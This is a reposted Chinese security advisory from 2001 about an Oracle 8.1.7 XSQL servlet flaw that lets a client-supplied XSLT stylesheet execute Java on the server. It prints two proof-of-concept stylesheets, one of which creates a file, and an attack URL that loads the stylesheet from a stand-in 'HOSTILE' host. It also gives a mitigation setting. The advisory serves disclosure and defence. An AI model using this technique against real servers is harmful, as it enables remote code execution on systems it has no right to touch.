发信人: wangchi_cn(0) 
整理人: snowypeng(2001-08-05 15:14:53), 站内信件
 | 
 
 
 
 涉及程序: 
 xml 
   
 描述: 
 Oracle允许在Web服务器上执行任意java代码漏洞 
   
 详细: 
 XSQL servlet 允许在系统中的任何地方指定 xslt 风格表。但这样也有可能通过 xslt 风格表在 Web 服务器上执行任意 java 代码,威胁系统的安全性。
 
 Oracle 允许通过 xmlns 来扩展内建的 xslt 功能。"http://www.oracle.com/XSL/Transform/java/"使用这种名字空间就有可能嵌入 Java 对象并获得执行这些对象的方法。
 
 
 以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
 
 
 通过举例来说明这个问题:
 --ora.xsl---string function, almost no effect---------------
 <?xml version="1.0"?>
 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String" version="1.0">
 <xsl:template match="/">
 <html>
 <h2>
 Written by Georgi Guninski
  
 </BR>
 Java demo.
 <xsl:variable name="str1" select="jstr:new('java on the server')" />
 <xsl:value-of select="jstr:toUpperCase($str1)" />
 </h2>
 </html>
 </xsl:template>
 </xsl:stylesheet>
 ------------------------------------------------------------
 
 --ora2.xsl----creates a file -------------------------------
 <?xml version="1.0"?>
 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0">
 <xsl:template match="/">
 <html>
 <h2>
 Written by Georgi Guninski
  
 </BR>
 File "c:\winnt\georgigjava" created=
 <xsl:variable name="r1" select="jstr:new('c:\\winnt\\georgigjava')" />
 <xsl:value-of select="jstr:createNewFile($r1)" />
 </h2>
 </html>
 </xsl:template>
 </xsl:stylesheet>
 -----------------------------------------------------------
 假定文件 http://xsql-server/EXISTING.xsql 存在并已经被配置好(这些演示程序默认是安装在/xsql/java/demo/目录下),下面的URL:
 http://xsql-server/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl
 将通过 http://hostile/ora.xsl 在 XSQL-SERVER 上执行 Java 代码。
 
 受影响的系统: 
 Oracle 8.1.7  
   
 解决方案: 
 临时解决办法:
 建议您在每个 xsql 页面中添加下面这一行:
 allow-client-style="no" 
   
 附加信息: 
 http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm  
 
  
 
 
  ---- 联系方式:  [email protected]
  | 
 
 
 |